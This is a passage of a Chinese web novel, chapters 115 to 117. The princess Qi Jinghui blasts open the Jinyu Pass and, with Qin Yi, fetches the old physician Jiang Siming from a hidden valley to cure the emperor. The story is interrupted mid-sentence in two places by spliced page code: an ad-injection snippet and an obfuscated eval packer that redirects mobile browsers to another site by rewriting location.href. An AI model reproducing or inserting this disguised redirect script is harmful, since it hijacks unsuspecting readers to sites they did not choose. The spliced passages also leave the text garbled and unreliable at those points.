侍女们拿来绒毯盖在二人身上,大概是困极了,几乎瞬间,她们便沉入了梦乡。 待二人醒来时,青黛表情凝重地走进来,轻声道:“郡主,方才秧州八百里加急,苍荻打进来了。” 宁玉瑶的心蓦地一紧,娘亲还在秧州…… 沈瑜见她神色不佳,赶紧握住她的手,心中轻叹一声,真是一波未平,一波又起。 115.拦路 小姐妹期盼许久的相聚,就在苍荻犯边的消息中草草结束。 等到晚膳时分,宁渊和宁璟瑞下值归来,宁玉瑶才终于知晓苍荻当时的具体情况。 “方廷峪构陷李将军,带领忠勇军围了南襄军,砍断了李将军一条手臂。幸得你娘带兵及时赶到,这才救下李将军一命。可终究还是晚了一步,方廷峪的人已经将苍荻大军放了进来。” 宁渊看着女儿愁容满面,轻轻拍了拍她的后背安抚道:“瑶儿放心,你娘亲带了十万大军过去,定有会将苍荻驱逐出去。” “嗯。”宁玉瑶轻声应着,心中的担忧却丝毫未减,她又问道,“现在方廷峪如何?” “方廷峪被暂且关押在秧州府衙地牢中,待大军班师回朝时一同押送回京,至于方家……” 宁渊看了一眼在旁边一直沉默不语的儿子,心情也越发沉重,“前几日拿到信件的时候,方家就已经被羽林军管控。今日秧州军情一到,陛下大怒,立即下令将方家老小尽数打入大牢,绝不姑息。” 房间里一片寂静,只偶尔响起轻微叹息声。 姜婉珍也知道方敏策前些时日救下宁璟瑞的事,她担忧地看着宁璟瑞,伸出手轻轻地握住他的手臂。 宁璟瑞叹了口气,温柔地拍了拍妻子的手,低声说道:“我没事。” 通敌叛国是不可饶恕的大罪,谁也不能为其求饶。 今日陛下下旨羁押方家,听前去方家抄家的羽林军兵士说,他们进入方家时,方家老小都整齐地跪在列祖列宗的牌位前,那些牌位上刻着的皆是为大宸战死的方家英灵。 方家老小被羁押时,都十分沉默,无一人反抗。曾经方家为大宸立下赫赫战功,满门荣耀,如今却因为方廷峪落得如此下场,怎能不让人唏嘘。 “爹爹。” 沉浸在自己思绪中的宁璟瑞,被这一声轻唤拉回现实。 他转过头,看到妹妹眉头微微皱起,面带不安地问着父亲:“可是,女儿似乎没听说过娘亲会带兵打仗。” “你娘本就不通用兵之道,”宁渊耐心地解释道,“她虽然会些武艺,在战场上有勇有谋,但更是个将才,说到统领全军,确实还是稍差一点火候。不过,瑶儿不用担心,李皓将军虽然丢了条胳膊,打仗的本事可没丢。他经验丰富,有他协助你娘,不会有事的。” 听到父亲和妹妹的对话,宁璟瑞的思绪也被拉了回来,他没心思再想方家之事,现在最重要的事情是希望边军能够守住秧州,希望母亲能够平安无事。 宁玉瑶所知道的事情要比宁璟瑞更详细,也正因如此,她担忧的事情也更多。在得知苍荻大军进犯秧州后,她的心中多了一层忧虑,熠哥哥还能否顺利地混进启宁镇,将江老平安带回来? 秧州的实际情况其实远比雁京所知晓的要好上许多。当秦熠抵达秧州时,南襄军的援军早已抵达。 此时,秧州境内汇聚了近十五万大军,在李皓和嘉阳长公主的带领下,将苍荻铁骑彻底逐出了鹭南关。如今,他们趁胜追击,一路势如破竹,直接压到了苍荻的金禹关。 金禹关是阻隔大宸兵马的重要关隘,距离启宁镇仅有两日路程,地理位置极为重要。 如今两军对垒,金禹关附近布满了苍荻兵,他们严阵以待,防守森严。 秦熠带人在金禹关附近小心翼翼地绕了一圈,试图从金禹关周围绕过去。 “秦熠,金禹关旁所有能够通行的小路都被苍荻军堵住了。”秦秀灵从与秦熠探查方向相反的地方匆匆回来。 秦熠听后,微微点头,并不意外。他拿出千里眼,向着远处的苍荻大军望去。 苍荻大军营帐连绵不绝,旗帜在风中飘扬。片刻后放下手,他翻身上马,“走,去找嘉阳长公主,听殿下差遣。” 一行人立即行动起来,他们避开苍荻军的巡逻队,又从金禹关撤了出来,偷偷摸到了南襄军大营前。 正在主帐中与李皓商议下一步计划的祁婧惠听到卫兵禀报秦熠求见,不禁讶异地挑了挑眉。秦熠不是回雁京了吗?怎么突然来秧州了? 祁婧惠满心疑惑,但她担忧是否雁京出了状况,没时间多想,立刻让人将秦熠带进来。 却没想到来的人不只是秦熠,还有秦秀灵和陆院正。三人并肩走入营帐,恭敬道:“参见长公主殿下。” “起来吧。”祁婧惠示意,随后看向陆院正,问道:“你们这是?” 陛下龙体欠安,陆院正身为太医院院正,理应在雁京全心守护陛下,怎会突然跑到秧州来? 事情紧急,秦熠不敢过多耽搁,他先是快速地将雁京目前的大致情况简单讲述了一遍,随后他压低声音说道:“殿下,江老是陆院正的师父江神医。” 祁婧惠听到这话,心头猛地一动。她瞬间想起当时在冰川中听瑶儿说起这位江老时的情景,那时她心中就隐隐有感,如今看来,果然如此。 她拧眉看着进入营帐就主动走向李皓查看其左臂伤口的陆院正,同时与李皓对视一眼。 李皓早已知晓承武帝的病情,秦熠虽然没有明确说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出江神医是否一定能治好承武帝,但他特意带着陆院正不远万里赶来苍荻接人,这一举动无疑表明承武帝的病有了转机。 “你们已经去金禹关看过了?”祁婧惠将视线转回秦熠身上,问道。 秦熠点头,“殿下,所有通路都守满了苍荻军,戒备森严,我们尝试了多种方法,都无法偷偷潜进去。” “那就打过去!”祁婧惠听闻,毫不犹豫地站起身来,她转头看向陆院正,问道:“李将军的伤势如何?” “启禀殿下,李将军断臂之处的愈合状况较为良好,伤口没有出现明显的恶化迹象,恢复进程尚属正常。”陆院正躬身回答。 祁婧惠闻言,心中的一块大石头终于彻底放下。 军医的医术水平有限,此前她一直担心李皓断臂的伤口会恶化,从而引发更严重的状况。如今听到陆院正说伤口恢复得不错,她这才放下心来。 李皓穿好检查伤口时脱下的外衫,朗声笑道:“殿下尽可放心,臣虽失去左臂,但臣的右手依旧有力,定能为国征战。” 祁婧惠颔首,叫来传令兵,“立刻召集所有能工巧匠,再将大营中所有铁链收集起来,不得有误!” 待传令兵领命退下后,祁婧惠的目光落在秦熠和李皓身上,严肃地说道:“秦熠,工匠们由你调度,下悬崖所需要用到的所有物品,务必督促他们连夜打造完成。李将军,大军交付给你了,一定要以最快的速度攻克金禹关,并占领启宁镇外的那座山。此事务必全力以赴,不容有失。” 秦熠和李皓立刻起身领命,出了主帐,秦熠便马不停蹄地直奔匠营。 而李皓则迅速召集了掖州、林州等军将领。 诸军将领齐聚一堂,李皓神情严肃地说道:“各位将军,长公主殿下下令我们必须不惜一切代价,以最快的速度攻下金禹关,任何人不得拖延,否则军法处置!” 将领们心中满是疑惑,不知道嘉阳长公主为何突然下令攻打金禹关。 金禹关依山而建,地势极其险要,山峰陡峭高耸入云。整座关隘都是由巨石堆砌而成,石块间严丝合缝,浑然一体。而它的城门更是坚固无比,与鹭南关城门不相上下,甚至有过之而无不及。 如此易守难攻的要塞,要在短时间内攻下,各军将领们面面相觑,一时间陷入了沉思。 虽然人人皆知金禹关极难攻克,但此时嘉阳长公主手握虎符,他们只能服从命令,全力以赴。 随着李皓一声令下,十万大军迅速集结,浩浩荡荡地向金禹关进发。 116.重逢 “轰——” 一声天崩地裂般的巨响,整个大地都随之颤抖,远处浓厚的尘烟升腾而起,弥漫在天际,将那一片天空都染成了灰蒙蒙的颜色。 掖州军统领看着金禹关城墙上的巨石在这猛烈的冲击下崩裂开来,碎石滚滚掉落,噼里啪啦地砸在地上,溅起一片尘土。他用胳膊肘轻轻拐了拐身旁的林州军统领,“老刘,你见过这么大阵仗吗?” 老刘还没来得及张嘴说话,又是一声震耳欲聋的轰鸣声响起,他们脚下的地面晃了晃,老刘一个趔趄,差点摔倒在地。 他稳住身形,摸着下巴上那乱糟糟的胡茬,忍不住咋舌:“我滴个乖乖,这是用了多少火药啊,老子带兵这么多年,还没打过这么富裕的仗。” “而且这可不是普通的□□,看这架势,威力可比以前的那些小打小闹厉害多了。”掖州军统领也羡慕地说道。 这些火药自然不是普通□□可以比拟的,这是现如今大宸威力最大的火药。 他们偷瞄一眼负手站在前方的嘉阳长公主,她面色冷峻,有条不紊地下令继续炸城门。 两人心中感叹,朝中有人就是好啊,这一两硝石一两金的火药就像不要钱一样往上面堆,他们今天可算是切身体会到了什么叫做不惜一切代价。 “金禹关这辈子也是值了,估计苍荻从没想过会有人这么大手笔用金山来砸开这扇大门。”秦熠嘟囔着用力揉了揉被连续不断的爆炸声震得生疼的耳朵。 可不就是金山嘛。 金禹关坚固无比,如果硬攻,不知还要耗费多长时间,牺牲多少将士的生命。 可他们现在耗不起,江老年事已高,他们怕江老等不起,更怕陛下等不及。 既然那扇坚固的铁城门冲不开,那就炸开它。 嘉阳长公主一声令下,那不知道建在何处的神火营就源源不断地将火药运送到秧州。 短短三日时间,上万斤火药如同小山一般堆满了忠勇营的库房。简直惊呆了众人的下巴,在场的人谁也没见过这么大阵仗。 库房外更是重兵把守,不容半点闪失。 直到今日晚间,夜幕降临,嘉阳长公主再次下令,一批又一批的火药在士兵们的护送下,运到金禹关城墙下。 金禹关守关将领大惊失色,他竭尽所能想要拦截这批火药。然而大宸兵士们用自己的命冲破苍狄大军的阻碍,将火药送到了关隘城墙角下。 苍荻又试图用水淋湿火药,使其受损。但嘉阳长公主早有准备,特意让工匠用最好的防水粘布将火药妥善包裹着。 最终苍荻兵只能无力地看着火药被点燃,坚硬的城墙巨石被炸开一条裂缝,碎石四处飞溅。 随着越来越多的火药被运送过来,爆炸声响彻云霄,城墙的裂缝也越来越大,如同一张狰狞的大嘴,吞噬着苍荻兵的希望。 守关将领灰头土脸地坐在城墙上,看着城墙上触目惊心的裂缝,他绝望地闭上了眼睛。 终于,在持续不断的轰炸下,大地剧烈颤抖,守城将士们随着金禹关的倒塌一起被掩埋到地下。 祁婧惠看着被强行炸出来的城墙缺口,硝烟还未散尽,空气中弥漫着刺鼻的气味。她举起右手向前用力一挥,“攻进去!” “冲啊!” 随着长公主一声令下,李皓双腿夹紧马腹,一马当先,率领着十万大军迅速向金禹关的缺口冲去。 祁婧惠身着铠甲紧随其后。 金禹关内喊杀声震天,与被长公主魄力激励的大宸军不同,苍狄守军似乎被火药惊人的威力吓破了胆。 残存的苍狄守军毫无抵抗之力,被大宸军杀了个片甲不留。 当启明星在天上闪烁时,大宸军彻底占领了金禹关。 李皓迅速安排一营军士在金禹关镇守,快步来到祁婧惠面前请示道:“殿下,已经安排妥当,我们随时可以启程。” 祁婧惠颔首,尽管一夜未睡,经历了一场激烈的战斗,但她依旧神采奕奕,“秦熠带路。” 刚从战场上下来的秦熠,身上还带着硝烟味,他毫不犹豫地翻身上马,带领数万大军向启宁镇疾行而去。 “监镇大人!启宁镇外驻扎了数万大宸军!”差衙一路狂奔,火急火燎地冲进监镇官府邸。 正在膳堂用晚膳的启宁镇监镇官被这喊声惊得浑身一颤,手中的筷子“啪嗒”一声掉落在桌上,“你说什么?” 差衙急得直跺脚,大声喊道:“大人!大宸打到启宁镇来了!” “怎么就打进来了!”监镇官嚯地站起身来,头上直冒冷汗。他的瞳孔急剧紧缩,恐惧到了极致,“金禹关没守住吗?” “金禹关……被强行炸开了……”差衙颤抖着回道。 膳堂中一起用膳的妻妾们听到这个消息,顿时尖叫出声,各种哭喊声在膳堂内回荡。 “别吵了!”监镇官忍无可忍怒吼道。 屋内的哭声骤然停止,所有人都呆愣地看着他,只有几声抑制不住的抽噎声偶尔响起。 “老爷……”监镇官的正妻无助地唤道,“我们该怎么办啊,老爷。” 监镇官定了定神,看向差衙:“大宸军有攻城的迹象吗?” “没有,”差衙困惑地摇摇头,眉头紧皱,“大军只是驻扎在启宁镇外,他们已经起灶开始做饭了,不过小的看见有几千士兵去月安山了。” “月安山?”监镇官停下了一直在屋内团团转的脚步,疑惑地反问,“那里有什么?” “管他有什么,都跟我没关系,”不等差衙回答,他转念吩咐妻妾,“赶紧收拾东西,我们去司殿。” 司殿有一条可以出城的暗道,只有极少数的人知道。 妻妾们虽然不知道这时候去司殿要做什么,但都害怕会被老爷留下,纷纷慌乱地冲回自己屋内收拾自己值钱的细软。 一时间,各个房间里都传来翻箱倒柜的声音,嘈杂混乱。 不止是监镇官府邸,整个启宁镇都陷入一片混乱之中。 街道上,人们惊慌失措地奔跑着,哭泣声此起彼伏,鸡飞狗跳,一片狼藉。 启宁镇上的混乱,祁婧惠丝毫未放在心上。 此刻她站在悬崖边,神色凝重地俯视着那深不见底的崖底。山风呼啸着吹过,她的发丝随风飘动。 他们一路日夜兼程,马不停蹄地赶路,用了两日时间,在第二天傍晚时分抵达了启宁镇。 尽管此时天色渐晚,四周的景物变得模糊不清,悬崖上的情况更是复杂难辨,但他们已经不能再耽搁了。必须尽快接到江老返回大宸。 片刻后,她命人将这几日工匠们用铁链和木板赶制出来的软梯顺着崖壁降下。 待软梯固定妥当,秦熠毫不犹豫地率先抓着软梯往山崖下探路。当初崖壁上仅有几根铁钉时,他都可以来去自如,如今有了软梯,更是如履平地。 他小心翼翼地攀爬时,还不忘分出精力照拂在他上方的祁婧惠。 等彻底踩到了地面,他连忙快步走到软梯旁,扶住有些脱力的祁婧惠,“殿下小心。” 祁婧惠微微点头,向旁边走了几步,将软梯下的地方让出来。 她抬头仰望着那高耸的山壁,有软梯的时候都如此艰难,当初秦熠将瑶儿平安背出这个小山谷,可想而知费了多少心思。 “辛苦了。”祁婧惠收回视线,看向秦熠。 秦熠有些不好意思地龇着牙傻笑道:“殿下言重了,都是下官应该做的。” 没过多久,秦秀灵下来了,她毕竟行伍多年,虽面色稍显疲惫,但并无大碍。 倒是陆院正,他平日里大多时间都在宫中行医问诊,甚少经历这般艰险的情况。 在高处悬空时,他数次险些踩空,每一次都让他惊出一身冷汗,再加上攀爬软梯几乎耗尽了他所有力气。 好不容易切切实实踩到地面上时,他已经浑身瘫软,一屁股重重地坐在地上,再也站不起来。 “陆院正,还能走吗?”秦熠看着陆院正这般模样,担忧地问道。 “能……能走!”陆广维咬着牙,努力撑着地面想要爬起身,然而他的身体却不听使唤,数次尝试都以跌坐在地告终,一旁的兵士见状连忙扶起他。 陆广维擦去额上的汗水,“殿下,下官失礼了。” “无碍,”祁婧惠此时已经恢复了些许力气,她看向秦熠,“走吧。” 他们到达山下时,天已经彻底黑了下来。为了不惊扰到小谷村的村民,避免引起不必要的麻烦,一行人并未点燃火把。 秦熠带着众人借着月光在山崖下茂密的树林中穿行。 刚走到树林边,不远处一道苍老的声音正中气十足地骂人:“你是不是听不懂人话?让你这三个时辰内别喝水,还要喝,把老夫的话当耳旁风?这病不想治了?” “江大夫,我没喝水。”一个中年男人小声地辩解着。 “你还敢撒谎?!”老者的怒火更盛,骂人的声音也愈发响亮,“喝没喝老夫看不出来?你这么能耐还来老夫这里做什么?浪费老夫的药材吗?” “我真没喝水,”那名中年男子还在嘟囔着,“我就喝了点酒……” “你!”老者听到这话,顿时勃然大怒,他气得浑身发抖,手指着中年男子,一时竟说不出话来。 陆广维远远看见自己苍老了许多的师父,生怕这不知死活的病患将他师父气出个好歹来,赶紧加快脚步冲了过去,“师父!” 江思明正欲骂人的话被这一声呼喊硬生生堵在了口中,他疑惑地看向院外,这声音怎么这么像他那孽徒?每次孽徒遇到治不好的病患都会这般急切地叫他。 “师父!”还未完全恢复力气的陆广维在兵士的搀扶下,跌跌撞撞地跑到小院的篱笆外。 江思明眯着眼睛,仔细地看着篱笆外那个头发花白的老人。半晌,他才悠悠地感叹道:“孽徒,你都这么老了。” 陆广维迫不及待地推开篱笆,走到江思明身前,跪下一把抱住他的腿,嚎啕大哭,“师父,您还活着,真是太好了。” “没出息。”江思明嫌弃地看着腿边的孽徒,嘴上虽然这么说,但眼中却透露出一丝不易察觉的欣慰。 他没有去管陆广维,而是抬起头,看向树林中走来的一群人。 秦熠笑嘻嘻地走进院子,“江老,我又来啦!” “就知道是你。”江思明挥了挥手,心里并不意外,除了这小子,再没有人能徒手爬这座悬崖了。 他紧盯着人群中那名中年女子,尽管她身着被血染红的铠甲,举手投足却气度不凡,江思明皱着眉头,仔细在脑中回忆这个看着面善的人究竟是谁。 陆广维察觉到师父盯着长公主看了许久,师父年事已高,他担心师父失礼,正要出声提醒,就见江思明缓缓起身,颤颤巍巍地向祁婧惠弯腰行礼,“草民拜见嘉阳公主。” 祁婧惠连忙上前扶住江思明,诧异道:“江神医见过本宫?” 江思明顺着祁婧惠的手坐回椅子上,“草民有幸,二十余年前在雁京街头窥得殿下英姿。” “仅仅一面之缘,江神医记得本宫,本宫深感荣幸。”祁婧惠客套道。 江思明摇摇头,他没再继续这个话题,而是直接问道:“殿下特意造访小谷村,想必不是为了看望草民这个老头子吧?” 祁婧惠颔首,神色凝重道:“确是如此,我们此次前来,是为了请江神医出山。” “哦?什么疑难杂症连草民这个太医院院正的孽徒都治不好?”江思明垂眸看向腿边已经止住眼泪的陆广维。 不用祁婧惠吩咐,陆广维就小声将大宸如今的形势和承武帝的病症详细地告诉江思明。 陆广维正说到一半,江思明突然拿起椅子旁的拐杖,直直地向孽徒头上敲去,“老子教你的医术你学到狗肚子里去了?这么简单的病症你都治不好,你是个什么沽名钓誉的院正?” “师父,师父,徒儿知道错了,但先帝驾崩后,陛下一直励精图治,大宸不能没有陛下,还请您救救徒儿,救救大宸吧!”陆广维依旧跪在地上,双手紧紧抱着江思明的腿,恳求道。 “老夫都九十多了,还能替你收拾几回烂摊子?”江思明看着跪在地上的徒弟,满心恨铁不成钢的无奈。 陆广维讷讷不敢辩解,只是低着头。 这时,祁婧惠走上前,她神色庄重,对江思明弯腰一揖到底,“江神医,我请您救救我的弟弟,他是我最重要的家人,拜托您了。” 江思明叹了口气,目光从众人身上扫过,最后落在不远处的小谷村,问道:“小谷村只有我一个大夫,我走了他们怎么办?” 听出江思明的意思,祁婧惠直起身,连忙保证道:“江神医放心,大宸大军就在山崖上,小谷村的村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972128|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民若是想要出去,我会命人将他们全部安全送出去。” “罢了罢了,别嚎了,”江思明踢了踢腿边的孽徒,“你去把那名病患治好,然后收拾好老夫的东西,我就跟你们回去。” 他看着满院子的兵士,心中明白,别看现在他们现在又是下跪又是弯腰恳求,若他一直不同意,下一步便会硬请了。 先礼后兵,不外如是。 见江思明答应出山,陆广维心中大喜,连忙走到自他们进来就一直唯唯诺诺躲在角落不敢出声的病患面前,仔细为他诊治。 祁婧惠一直悬着的心也终于放下,在秦秀灵搬来椅子上坐下。 江思明看着她的侧脸,那轮廓在月光下显得越发柔和。忽然,他出声问道:“丁丫头是你的女儿吧?” 知道女儿化名丁玉的祁婧惠嘴角不自觉地勾起,眼中闪过一丝温柔,点头应道:“正是小女。” “瞧着一点也不像,”江思明小声嘀咕着,“这么个英气的娘,结果养出一只小兔子。” 祁婧惠并不在意江思明说的话,她的宝贝女儿,娇宠一些又何妨呢? 忽然她想起一事,起身微微欠身对江思明道谢:“多谢江神医对小女的救命之恩。” 秦秀灵也连忙起身,对着江思明一揖到底,郑重道:“江神医对舍弟的救命之恩,秦家铭记在心。” 江思明摆摆手,“没什么大不了的,那两孩子已经给老夫干活还了这份情了。” 祁婧惠和秦秀灵都没与江思明争辩,在她们心中,江神医的这份恩情重如泰山。横竖江神医就要去雁京了,到时候她们有的是机会报答这份恩情。 另一边,陆广维已经替那名中年男子看完诊。他仔细地交代一名跟着这位病患回去,只要要守着他,撑过最开始的几个时辰不要进食进水,便无大碍了。 随后便亲自收拾师父的药材和治病用的药具。他一边收拾,一边看着那些珍贵的药材啧啧称奇,“师父,这地方居然有这么多好药材,难怪您乐不思蜀了。” 江思明坐在椅子上,只是哼哼两声,眼神有些飘忽,并不回话。 陆广维狐疑地看了一眼江思明,若在以往,他这么调侃师父,师父的拐杖早就不客气地敲下来了。可现在师父这表情,只能说明他心虚! “师父!”陆广维脑中灵光一闪,突然大声喊道,他的声音引得其他人纷纷侧目。 江思明被他这一嗓子吓了一跳,没好气地说道:“喊什么喊!” “您不会是摘药材摔下来的吧?”陆广维越想越觉得就是这么回事,他太了解自己的师父了。 师父爱药成痴,以前上山采药就经常摔得鼻青脸肿的。所以等师父年纪大了以后,他和师兄弟们就特地请了几个采药人专门替他师父采药,就是为了防止师父再出意外。 江思明闭上眼睛,装作没听见。 陆广维见状,更加确定了自己的猜测。他冲过来,大逆不道地教训着江思明:“您当时都七十了吧!人家都颐养天年的年纪了,谁像您见天地就往山里跑,哪里不能走就跑哪里。采药人采的药不够您用的吗?您就不能消停点,好好在家享享清福?” “那些人不尽心,”江思明嘟囔着,“好药材都在崇山峻岭,他们怕死,哪里采得到好东西。” “他们怕死您就亲自上?!”陆广维声音又大了几分,“您不看看您的胳膊腿儿?能比得上他们?您要是有个三长两短,让我们这些徒弟怎么办?” “干什么干什么,想欺师灭祖吗!”江思明瞪过去,眼神威严,但也有一丝掩饰不住的心虚。 陆广维气势矮了几分,他低下头,“徒儿们不是担心您吗,您看您这不就是为了采药掉到这小谷村来了,二十多年音讯全无,我们都以为您……您知道徒儿们有多伤心吗?” “能活着就行,”江思明混不在意,他挥了挥手,“再说要不是老夫在这里,能正好救下那位丁……” “明安郡主。”陆广维小声提醒道。 “一饮一啄皆有定数。”江思明老神在在道,摆摆手让徒弟继续收拾东西,“为师命里注定会掉下小谷村,郡主也命里注定会被为师救下。这都是天意,你就别瞎操心了。” 陆广维被师父的话噎住,无奈地看了师父一眼,又看了看一旁嘴角含笑的长公主,不敢继续讨论这个话题。他叹了口气,摇摇头,老老实实地继续清理药材。 等师徒俩交谈完毕,已经在屋子周围转悠了一圈的秦熠站在曾经居住的小木屋前问:“江老,这间屋子您没给别人住吗?” “你当这是哪儿?一年到头见不到几个陌生人的地方,谁没事跑别人家里住。”江老没好气地回道。 “嘿嘿,”秦熠挠了挠后脑勺,“我还以为您舍不得我们才不把房子给别人住呢。” 江老哼了一声,并不回答。 祁婧惠和秦秀灵听到二人的对话,颇感兴趣地走到小木屋前。 祁婧惠问:“你和瑶儿那段时间就住这里?” 秦熠推开门,请长公主进屋,“启禀殿下,小谷村条件简陋,当时想着等我伤好了就会离开,便没有新建房子,在江老这里借住了一点时间。” 秦秀灵好奇地看着小木屋,秦家都是武将,再如何艰苦的条件都住得,她并不心疼弟弟。 但祁婧惠走进去,看着简陋的小木屋,心中一阵刺痛。 屋内只有一扇小小的窗户透进些许月光。她走到屋内唯一的一张小木床前,轻轻坐下,捻了捻粗糙的麻布被褥,那粗糙的质感让她心酸不已。 尽管她知道孩子一路吃了许多苦,但她从小锦衣玉食的瑶儿,就在这么粗陋的地方住了半年,她的眼眶泛红。 祁婧惠摸过女儿喝过的杯子,打开女儿用过的小矮柜,里面放着一些简单的衣物和生活用品。最后,她的目光落在一个松松垮垮的小竹筐上。 “这是郡主闲暇时编的,离开时不方便携带,便留在这里了。”秦熠注意到祁婧惠的视线,主动解释道。 祁婧惠手指轻抚那个并不精致甚至有些粗陋的小竹筐。 “启禀殿下。”门外陆广维拱手道,“东西已经收拾妥当了。” 祁婧惠点头,“即刻出发!” 她拿起小竹筐走出木屋,带领众人趁着夜色朝山崖走去。 女儿亲手做的小玩意,她要带回大宸好好收起来。 117.出山 这么多人突然进村,必然会惊动安静的小谷村的村民。 准备离开时,村民们都站在小院外的不远处看着他们。 秦熠见到那些熟悉的面孔,大步流星地笑着迎上去。“阿伯,阿婶许久不见。” 阿伯阿婶们神色复杂地看着秦熠,没有人接他的话,一时间气氛有些许尴尬。 秦熠不以为意,仿佛没有察觉到这异样的气氛,依旧面带笑容继续说道:“大家别担心,他们不是坏人,那位是江老的徒弟,得知江老在此处,特意前来接江老回去颐养天年。” 孟青涓遥望着远处对江老恭谨有加的老者,从其仪态及对江老所展现出的尊崇之态判断,她确信秦熠所言属实。 然而村民们这般躁动难安,缘由却并非仅系于江老。若不是树林中隐隐绰绰可以看见手拿利箭的兵士,恐怕那些心心念念想要出去的村民们早就不顾一切地冲上去质询了。 眼看小谷村的村民们愈发难以自制,人群中渐起骚动。为避免冒犯那些身份尊贵之人和士兵,孟青涓不得不深吸一口气,鼓起勇气主动站出,开口道:“小易……易大人……” 秦熠依旧面带笑容,他立即打断孟青涓,“涓姨,您直呼我小易即可,我并非什么达官显贵,您有什么话尽可直言,无需与我见外。” 孟青涓轻轻抿了抿嘴唇,内心挣扎片刻,才依言唤道:“小易,听闻酒蒙子所言,贵人应承江老会送我们出去?” 秦熠自然认识涓姨口中的酒蒙子,便是之前被江老训斥的那位中年男子。酒蒙子听闻了长公主殿下与江老的交谈内容,会急切地将其转告给其他村民,亦在情理之中。 “是的,涓姨,”他点了点头,认真道,“您尽可安心,那位大人既然承诺,必定会信守诺言。这些时日,我们的兵士会想法子尽量让你们平安出去。” “好,好。”涓姨讷讷应下,她眼中闪过一丝惊喜,但很快又被复杂的情绪所取代。 或许是由于身份的转变,眼前身穿铠甲的年轻人尽管依旧满脸笑意,她却再也不敢像以前那般随意对他,说了两句话之后又不知道该做何反应,只得沉默地闭上了嘴。 秦熠心中叹了口气,却也知道涓姨对她的态度不是三言两语就能改变,便不再勉强。 这时,人群中有一个声音小声地嘟囔着:“谁知道你们是不是在哄骗江老,万一你们就这么走了,我们也没法子出去找你们不是?” 旁边的人赶紧捂住他的嘴巴,压低声音焦急地说道:“你不要命了,没看到他们身上全都是血,你以为惹怒了他们,他们不敢杀你吗?” 那人被捂住嘴巴后,意识到自己的鲁莽,眼中闪过一丝惊恐,之后再也没有发出任何声音。 这二人说话的声音极小,站在不远处的祁婧惠毫无反应。 但秦熠却听得清清楚楚,他微微皱了皱眉,却装作没听见,只是转过身,面向祁婧惠,恭敬地拱手大声问询:“大人,敢问何时开始部署人手接应村民出谷?” 祁婧惠听见秦熠的问话,目光掠过他身后的村民们,即刻领会了秦熠的意图。她亦高声回应道:“待我返回上方之后,便即刻差遣兵士下来接引村民上山。” 听到祁婧惠掷地有声的回答,小谷村村民们的不安渐渐散去。他们面面相觑,眼中的疑虑尽管依旧挥之不去,但至少此刻愿意暂且相信这些人。毕竟,这是他们多年以来难得一遇的契机,即便心中尚存担忧,也甘愿怀揣着一丝希望去期许。 人群中的骚动渐趋平复,村民们的神情也舒缓了些许。 “放心吧,”在屋内看着陆广维收拾他贴身物品的江思明走出小院,来到村民们面前,他环顾着眼前这些熟悉的面孔,缓缓道,“这位大人一言九鼎,她既然答应了老夫会带你们出去,就一定可以做到。” “我们自然是相信大人的,只是舍不得您。”有村民赶紧说道。 其他村民也反应过来,纷纷应和着:“是,是,今日一别,或许就再也不能见面了,江老,我们舍不得您。” 在场众人都明白村民们不仅仅是对江思明不舍,但没有人拆穿他们。 江思明叹了一口气,轻轻地摆了摆手,说道:“夜深了,大家都去歇着吧。” 村民们看了一眼不远处进进出出搬东西忙碌的兵士们,又看了一眼江思明,三三两两地渐渐散去。 只有田家人还站在原地,田莉眼中含泪地看着江思明,哽咽着喊道:“江老祖……” 自她会走之后,就每日来到江老祖的小院中听江老祖念药经。 她曾想过,或许自己会在未来的日子里,一直陪伴着日渐老去的江老祖,为他端茶送水,在他身边尽孝,送他最后一程。 在田莉心里,江老祖精神矍铄,仿佛会一直这样健康长寿下去,或许还有许久许久,久到她觉得那会是一个很遥远的未来。 但没想到,分别的时候会这么快到来。当她得知江老祖要离开的消息时,她的泪水便止不住地流淌。 江思明看着泪流满面的田莉,心中也是感慨万千,他对田莉招了招手。 田莉赶忙抹掉脸上的眼泪,快步走到江思明身前。 江思明将手中的小竹匣递给她,示意她拿着。 田莉不知江老祖的用意,犹豫一瞬才接过竹匣。 当她打开竹匣,她惊讶地抬起头,只见竹匣里面装着两本册子,几锭金子以及一套被人经常使用后光滑可鉴的银针。那两本册子看起来有些年头了,纸张微微泛黄,但上面的字迹却清晰可辨,那是江老祖珍藏的医书。 “这……”田莉惊讶地说不出话来,她下意识地推拒着,“江老祖,这些太贵重了,我不能拿。” “长者赐不可辞,收下吧,这金子就权当是老夫赠予你的嫁妆。”江思明手拄拐杖,缓声说道,接着略微停顿,又继续说道,“若能觅得良人,此即为你的嫁妆,若未能寻到良人,那便用这些金子去开设一间医馆。你在我身旁学习了这般长久的时日,医术已比外面寻常大夫出色许多了。” 田莉紧握着手中的竹匣,泪水再度夺眶而出,洇湿了面庞。她深知江老祖虽一直不愿正式纳徒,但在传授她医术之时,始终倾囊以授,毫无保留。如今江老祖即将离去,却还馈赠她如此厚礼,田莉深感受之有愧。 她握紧竹匣,缓缓跪在地上,恭恭敬敬地给江思明磕了个头,这里面包含了她对江老祖的感激、尊敬和不舍,也算是全了这份特殊的师徒之情。 江思明望着伏跪在地上的田莉,轻轻叹了口气,双唇微抿,终是未再言语。他在陆广维的搀扶下,缓缓走向一直在远处等待他的人群,跟着他们离开了。 见江老祖的背影消失在树林中,田莉再也克制不住自己的情绪,失声痛哭。 孟青涓蹲下身来,紧紧抱着自己的女儿,她的眼中也闪烁着泪花。 她们心里都明白,这一分别,就真的此生再也不复见。江老对她们家的恩情,对田莉的教导之恩,她们会永远铭记。 既然小谷村的村民已经发现他们的存在,他们便不再遮遮掩掩。兵士们点燃火把,熊熊燃烧的火把照亮了树林,宛若一条蜿蜒的火龙在林间穿梭。 在江老院子中休息了一段时间后,众人的体力已经恢复得差不多了。然而当他们站在崖底,仰望着在黑暗中看不见顶的崖壁时,依旧难免望而生畏。 